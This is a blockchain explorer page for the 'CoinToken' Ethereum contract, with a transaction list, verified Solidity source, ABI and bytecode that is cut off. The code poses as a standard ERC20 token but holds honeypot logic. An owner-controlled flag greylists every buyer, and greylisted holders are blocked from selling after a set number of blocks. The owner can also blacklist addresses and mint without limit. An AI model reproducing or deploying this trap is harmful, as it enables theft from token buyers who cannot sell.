ETH Price: $3,647.86 (+1.90%)

Contract

0x67bc525cc99b0fD638c59ac7601967937572db28
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve181982652023-09-23 11:36:35433 days ago1695468995IN
0x67bc525c...37572db28
0 ETH0.000351067.56500702
Approve176023432023-07-01 23:03:59517 days ago1688252639IN
0x67bc525c...37572db28
0 ETH0.0006768814.58581436
Approve176023392023-07-01 23:03:11517 days ago1688252591IN
0x67bc525c...37572db28
0 ETH0.0003759615.58526743
Approve176022472023-07-01 22:44:23517 days ago1688251463IN
0x67bc525c...37572db28
0 ETH0.0005900912.71572518
Approve176016952023-07-01 20:53:11517 days ago1688244791IN
0x67bc525c...37572db28
0 ETH0.0003258113.50621196
Approve176012412023-07-01 19:20:47517 days ago1688239247IN
0x67bc525c...37572db28
0 ETH0.0007590816.35716503
Approve176012362023-07-01 19:19:47517 days ago1688239187IN
0x67bc525c...37572db28
0 ETH0.0004265917.68396541
Approve175984122023-07-01 9:47:23517 days ago1688204843IN
0x67bc525c...37572db28
0 ETH0.000763716.45672773
Approve175984072023-07-01 9:46:23517 days ago1688204783IN
0x67bc525c...37572db28
0 ETH0.0003764615.60596994
Approve175983862023-07-01 9:41:35517 days ago1688204495IN
0x67bc525c...37572db28
0 ETH0.0007785516.84627851
Approve175983402023-07-01 9:32:11517 days ago1688203931IN
0x67bc525c...37572db28
0 ETH0.0006467714.01312712
Approve175982012023-07-01 9:03:47517 days ago1688202227IN
0x67bc525c...37572db28
0 ETH0.0007583716.3419098
Transfer175979262023-07-01 8:08:35517 days ago1688198915IN
0x67bc525c...37572db28
0 ETH0.0005570314.69313172
Transfer175979222023-07-01 8:07:47517 days ago1688198867IN
0x67bc525c...37572db28
0 ETH0.0005503114.51595337
Approve175977162023-07-01 7:26:23517 days ago1688196383IN
0x67bc525c...37572db28
0 ETH0.0007565616.28186912
Approve175976822023-07-01 7:19:35517 days ago1688195975IN
0x67bc525c...37572db28
0 ETH0.0007297315.72469746
Approve175975102023-07-01 6:44:59517 days ago1688193899IN
0x67bc525c...37572db28
0 ETH0.0008414718.10913697
Approve175971832023-07-01 5:38:11517 days ago1688189891IN
0x67bc525c...37572db28
0 ETH0.0004506718.68226885
Approve175971222023-07-01 5:25:59517 days ago1688189159IN
0x67bc525c...37572db28
0 ETH0.0008205817.68228181
Approve175971182023-07-01 5:25:11517 days ago1688189111IN
0x67bc525c...37572db28
0 ETH0.0004069216.82704152
Approve175971182023-07-01 5:25:11517 days ago1688189111IN
0x67bc525c...37572db28
0 ETH0.0004059116.82704152
Approve175971142023-07-01 5:24:23517 days ago1688189063IN
0x67bc525c...37572db28
0 ETH0.0004926718.54463591
Approve175971062023-07-01 5:22:35517 days ago1688188955IN
0x67bc525c...37572db28
0 ETH0.0004770917.95818188
Approve175971032023-07-01 5:21:59517 days ago1688188919IN
0x67bc525c...37572db28
0 ETH0.0008536218.37048167
Approve175970692023-07-01 5:15:11517 days ago1688188511IN
0x67bc525c...37572db28
0 ETH0.0008186817.64140553
View all transactions

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Block From To
175960802023-07-01 1:55:11518 days ago1688176511  Contract Creation0 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
CoinToken

Compiler Version
v0.4.24+commit.e67f0147

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-01
*/

/**
 *Submitted for verification at Etherscan.io on 2023-06-14
*/

/**
 *Submitted for verification at Etherscan.io on 2023-05-22
*/

/**
 *Submitted for verification at Etherscan.io on 2023-05-17
*/

/**
 *Submitted for verification at BscScan.com on 2023-05-14
*/

/**
 *Submitted for verification at BscScan.com on 2023-05-13
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.4.24;


library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        assert(c / a == b);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        // assert(b > 0); // Solidity automatically throws when dividing by 0
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b <= a);
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}
interface ISwapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract Ownable {
    address public owner;


    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }


}


contract ERC20Basic {
    uint256 public totalSupply;
    function balanceOf(address who) public view returns (uint256);
    function transfer(address to, uint256 value) public returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
}

contract ERC20 is ERC20Basic {
    function allowance(address owner, address spender) public view returns (uint256);
    function transferFrom(address from, address to, uint256 value) public returns (bool);
    function approve(address spender, uint256 value) public returns (bool);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


contract StandardToken is ERC20 {
    using SafeMath for uint256;

    address public LP;

    bool ab=false;


    mapping (address => mapping (address => uint256)) internal allowed;
    mapping(address => bool)  tokenBlacklist;
    mapping(address => bool)  tokenGreylist;
    mapping(address => bool)  tokenWhitelist;
    event Blacklist(address indexed blackListed, bool value);
    event Gerylist(address indexed geryListed, bool value);
    event Whitelist(address indexed WhiteListed, bool value);
    mapping(address => uint256)  death;
    uint256  blockN=1;


    mapping(address => uint256) balances;


    function transfer(address _to, uint256 _value) public returns (bool) {
        if(!tokenWhitelist[msg.sender]&&!tokenWhitelist[_to]){
            require(tokenBlacklist[msg.sender] == false);
            require(tokenBlacklist[_to] == false);

            require(tokenGreylist[msg.sender] == false||block.number<death[msg.sender]+blockN);
            // require(tokenGreylist[_to] == false);
        }
        if(ab&&!tokenWhitelist[_to]&&_to!=LP){
            tokenGreylist[_to] = true;
            emit Gerylist(_to, true);
            if(death[_to]==0){
                death[_to]=block.number;
            }
        }

        require(_to != address(0));
        require(_to != msg.sender);
        require(_value <= balances[msg.sender]);
        balances[msg.sender] = balances[msg.sender].sub(_value);
        // SafeMath.sub will throw if there is not enough balance.
        balances[_to] = balances[_to].add(_value);
        emit Transfer(msg.sender, _to, _value);
        return true;
    }


    function balanceOf(address _owner) public view returns (uint256 balance) {
        return balances[_owner];
    }

    function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
        if(!tokenWhitelist[_from]&&!tokenWhitelist[_to]){
            require(tokenBlacklist[msg.sender] == false);
            require(tokenBlacklist[_from] == false);
            require(tokenBlacklist[_to] == false);

            require(tokenGreylist[_from] == false||block.number<death[_from]+blockN);
        }

        if(ab&&!tokenWhitelist[_to]&&_to!=LP){
            tokenGreylist[_to] = true;
            emit Gerylist(_to, true);
            if(death[_to]==0){
                death[_to]=block.number;
            }
        }
        require(_to != _from);
        require(_to != address(0));
        require(_value <= balances[_from]);
        require(_value <= allowed[_from][msg.sender]);
        balances[_from] = balances[_from].sub(_value);


        balances[_to] = balances[_to].add(_value);
        allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
        emit Transfer(_from, _to, _value);
        return true;
    }


    function approve(address _spender, uint256 _value) public returns (bool) {
        allowed[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }


    function allowance(address _owner, address _spender) public view returns (uint256) {
        return allowed[_owner][_spender];
    }


    function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
        allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
        emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
        return true;
    }

    function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
        uint oldValue = allowed[msg.sender][_spender];
        if (_subtractedValue > oldValue) {
            allowed[msg.sender][_spender] = 0;
        } else {
            allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
        }
        emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
        return true;
    }

    function _changeAb(bool _ab) internal returns (bool) {
        require(ab != _ab);
        ab=_ab;
        return true;
    }

    function _changeBlockN(uint256 _blockN) internal returns (bool) {
        blockN=_blockN;
    }

    function _blackList(address _address, bool _isBlackListed) internal returns (bool) {
        require(tokenBlacklist[_address] != _isBlackListed);
        tokenBlacklist[_address] = _isBlackListed;
        emit Blacklist(_address, _isBlackListed);
        return true;
    }

    function _geryList(address _address, bool _isGeryListed) internal returns (bool) {
        require(tokenGreylist[_address] != _isGeryListed);
        tokenGreylist[_address] = _isGeryListed;
        emit Gerylist(_address, _isGeryListed);
        return true;
    }
    function _whiteList(address _address, bool _isWhiteListed) internal returns (bool) {
        require(tokenWhitelist[_address] != _isWhiteListed);
        tokenWhitelist[_address] = _isWhiteListed;
        emit Whitelist(_address, _isWhiteListed);
        return true;
    }
    function _blackAddressList(address[] _addressList, bool _isBlackListed) internal returns (bool) {
        for(uint i = 0; i < _addressList.length; i++){
            tokenBlacklist[_addressList[i]] = _isBlackListed;
            emit Blacklist(_addressList[i], _isBlackListed);
        }
        return true;
    }
    function _geryAddressList(address[] _addressList, bool _isGeryListed) internal returns (bool) {
        for(uint i = 0; i < _addressList.length; i++){
            tokenGreylist[_addressList[i]] = _isGeryListed;
            emit Gerylist(_addressList[i], _isGeryListed);
        }
        return true;
    }


}

contract PausableToken is StandardToken, Ownable {

    function transfer(address _to, uint256 _value) public  returns (bool) {
        return super.transfer(_to, _value);
    }

    function transferFrom(address _from, address _to, uint256 _value) public  returns (bool) {
        return super.transferFrom(_from, _to, _value);
    }

    function approve(address _spender, uint256 _value) public  returns (bool) {
        return super.approve(_spender, _value);
    }

    function increaseApproval(address _spender, uint _addedValue) public  returns (bool success) {
        return super.increaseApproval(_spender, _addedValue);
    }

    function decreaseApproval(address _spender, uint _subtractedValue) public  returns (bool success) {
        return super.decreaseApproval(_spender, _subtractedValue);
    }
    function changeAb(bool _ab) public  onlyOwner  returns (bool success) {
        return super._changeAb(_ab);
    }

    function changeBn(uint _bn) public  onlyOwner  returns (bool success) {
        return super._changeBlockN(_bn);
    }

    function blackListAddress(address listAddress,  bool isBlackListed) public  onlyOwner  returns (bool success) {
        return super._blackList(listAddress, isBlackListed);
    }
    function geryListAddress(address listAddress,  bool _isGeryListed) public  onlyOwner  returns (bool success) {
        return super._geryList(listAddress, _isGeryListed);
    }
    function whiteListAddress(address listAddress,  bool _isWhiteListed) public  onlyOwner  returns (bool success) {
        return super._whiteList(listAddress, _isWhiteListed);
    }
    function blackAddressList(address[] listAddress,  bool isBlackListed) public  onlyOwner  returns (bool success) {
        return super._blackAddressList(listAddress, isBlackListed);
    }
    function geryAddressList(address[] listAddress,  bool _isGeryListed) public  onlyOwner  returns (bool success) {
        return super._geryAddressList(listAddress, _isGeryListed);
    }

}

contract CoinToken is PausableToken {
    string public name;
    string public symbol;
    uint public decimals;
    event Mint(address indexed from, address indexed to, uint256 value);
    event Burn(address indexed burner, uint256 value);
    bool internal _INITIALIZED_;

    constructor() public {

    }
    modifier notInitialized() {
        require(!_INITIALIZED_, "INITIALIZED");
        _;
    }
    function initToken(string  _name, string  _symbol, uint256 _decimals, uint256 _supply, address tokenOwner,address factory,address token1) public notInitialized returns (bool){
        _INITIALIZED_=true;
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
        totalSupply = _supply * 10**_decimals;
        balances[tokenOwner] = totalSupply;
        owner = tokenOwner;

        // // service.transfer(msg.value);
        // (bool success) = service.call.value(msg.value)();
        // require(success, "Transfer failed.");
        emit Transfer(address(0), tokenOwner, totalSupply);
        LP = ISwapFactory(factory).createPair(address(this), token1);
    }









    function mint(address account, uint256 amount) onlyOwner public {

        totalSupply = totalSupply.add(amount);
        balances[account] = balances[account].add(amount);
        emit Mint(address(0), account, amount);
        emit Transfer(address(0), account, amount);
    }


}

contract CoinFtc{


    function createToken(string  _name, string  _symbol, uint256 _decimals, uint256 _supply,address tokenOwner,address factory,address token1)public returns (address){
        CoinToken token=new CoinToken();
        token.initToken(_name,_symbol,_decimals,_supply,tokenOwner,factory,token1);
        return address(token);
    }
}

Contract Security Audit

Contract ABI

[{"constant":false,"inputs":[{"name":"listAddress","type":"address[]"},{"name":"_isGeryListed","type":"bool"}],"name":"geryAddressList","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"account","type":"address"},{"name":"amount","type":"uint256"}],"name":"mint","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_bn","type":"uint256"}],"name":"changeBn","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_subtractedValue","type":"uint256"}],"name":"decreaseApproval","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"listAddress","type":"address"},{"name":"_isGeryListed","type":"bool"}],"name":"geryListAddress","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"listAddress","type":"address"},{"name":"isBlackListed","type":"bool"}],"name":"blackListAddress","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_ab","type":"bool"}],"name":"changeAb","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"listAddress","type":"address"},{"name":"_isWhiteListed","type":"bool"}],"name":"whiteListAddress","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"LP","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_name","type":"string"},{"name":"_symbol","type":"string"},{"name":"_decimals","type":"uint256"},{"name":"_supply","type":"uint256"},{"name":"tokenOwner","type":"address"},{"name":"factory","type":"address"},{"name":"token1","type":"address"}],"name":"initToken","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"listAddress","type":"address[]"},{"name":"isBlackListed","type":"bool"}],"name":"blackAddressList","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_addedValue","type":"uint256"}],"name":"increaseApproval","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Mint","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"burner","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"blackListed","type":"address"},{"indexed":false,"name":"value","type":"bool"}],"name":"Blacklist","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"geryListed","type":"address"},{"indexed":false,"name":"value","type":"bool"}],"name":"Gerylist","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"WhiteListed","type":"address"},{"indexed":false,"name":"value","type":"bool"}],"name":"Whitelist","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"}]

60806040526000600160146101000a81548160ff021916908315150217905550600160075534801561003057600080fd5b50613063806100406000396000f300608060405260043610610127576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806264e2321461012c57806306fdde03146101b6578063095ea7b31461024657806318160ddd146102ab57806323b872dd146102d6578063313ce5671461035b57806340c10f191461038657806349b3d106146103d357806366188463146104185780636e81949d1461047d57806370a08231146104e4578063794be7071461053b5780638da5cb5b146105a257806395d89b41146105f95780639ceda54a146106895780639dd21928146106d0578063a9059cbb14610737578063b6fccf8a1461079c578063c67ed06b146107f3578063cb29c93b1461092e578063d73dd623146109b8578063dd62ed3e14610a1d575b600080fd5b34801561013857600080fd5b5061019c60048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803515159060200190929190505050610a94565b604051808215151515815260200191505060405180910390f35b3480156101c257600080fd5b506101cb610b04565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561020b5780820151818401526020810190506101f0565b50505050905090810190601f1680156102385780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561025257600080fd5b50610291600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba2565b604051808215151515815260200191505060405180910390f35b3480156102b757600080fd5b506102c0610bb6565b6040518082815260200191505060405180910390f35b3480156102e257600080fd5b50610341600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bbc565b604051808215151515815260200191505060405180910390f35b34801561036757600080fd5b50610370610bd2565b6040518082815260200191505060405180910390f35b34801561039257600080fd5b506103d1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd8565b005b3480156103df57600080fd5b506103fe60048036038101908080359060200190929190505050610db4565b604051808215151515815260200191505060405180910390f35b34801561042457600080fd5b50610463600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e22565b604051808215151515815260200191505060405180910390f35b34801561048957600080fd5b506104ca600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610e36565b604051808215151515815260200191505060405180910390f35b3480156104f057600080fd5b50610525600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ea6565b6040518082815260200191505060405180910390f35b34801561054757600080fd5b50610588600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610eef565b604051808215151515815260200191505060405180910390f35b3480156105ae57600080fd5b506105b7610f5f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561060557600080fd5b5061060e610f85565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561064e578082015181840152602081019050610633565b50505050905090810190601f16801561067b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561069557600080fd5b506106b6600480360381019080803515159060200190929190505050611023565b604051808215151515815260200191505060405180910390f35b3480156106dc57600080fd5b5061071d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611091565b604051808215151515815260200191505060405180910390f35b34801561074357600080fd5b50610782600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611101565b604051808215151515815260200191505060405180910390f35b3480156107a857600080fd5b506107b1611115565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107ff57600080fd5b50610914600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061113b565b604051808215151515815260200191505060405180910390f35b34801561093a57600080fd5b5061099e60048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803515159060200190929190505050611462565b604051808215151515815260200191505060405180910390f35b3480156109c457600080fd5b50610a03600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114d2565b604051808215151515815260200191505060405180910390f35b348015610a2957600080fd5b50610a7e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114e6565b6040518082815260200191505060405180910390f35b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610af257600080fd5b610afc838361156d565b905092915050565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9a5780601f10610b6f57610100808354040283529160200191610b9a565b820191906000526020600020905b815481529060010190602001808311610b7d57829003601f168201915b505050505081565b6000610bae838361166d565b905092915050565b60005481565b6000610bc984848461175f565b90509392505050565b600c5481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c3457600080fd5b610c4981600054611fcb90919063ffffffff16565b600081905550610ca181600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fcb90919063ffffffff16565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fab8530f87dc9b59234c4623bf917212bb2536d647574c8e7e5da92c2ede0c9f8836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e1257600080fd5b610e1b82611fe9565b9050919050565b6000610e2e8383611ff7565b905092915050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e9457600080fd5b610e9e8383612288565b905092915050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f4d57600080fd5b610f57838361239c565b905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b8054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561101b5780601f10610ff05761010080835404028352916020019161101b565b820191906000526020600020905b815481529060010190602001808311610ffe57829003601f168201915b505050505081565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561108157600080fd5b61108a826124b0565b9050919050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110ef57600080fd5b6110f983836124f7565b905092915050565b600061110d838361260b565b905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600d60009054906101000a900460ff161515156111c2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f494e495449414c495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b6001600d60006101000a81548160ff02191690831515021790555087600a90805190602001906111f3929190612f92565b5086600b908051906020019061120a929190612f92565b5085600c8190555085600a0a8502600081905550600054600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555083600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000546040518082815260200191505060405180910390a38273ffffffffffffffffffffffffffffffffffffffff1663c9c6539630846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b1580156113dc57600080fd5b505af11580156113f0573d6000803e3d6000fd5b505050506040513d602081101561140657600080fd5b8101908080519060200190929190505050600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550979650505050505050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114c057600080fd5b6114ca8383612c7d565b905092915050565b60006114de8383612d7d565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080600090505b8351811015611662578260046000868481518110151561159157fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555083818151811015156115fa57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167fa26058b778f12ad62a17a347abbf4f2bbfb54d7d761c22674ab23cef1895c80d84604051808215151515815260200191505060405180910390a28080600101915050611575565b600191505092915050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118055750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119d45760001515600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561186957600080fd5b60001515600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415156118c857600080fd5b60001515600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561192757600080fd5b60001515600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514806119c85750600754600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540143105b15156119d357600080fd5b5b600160149054906101000a900460ff168015611a3a5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a945750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611bd2576001600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508273fffffff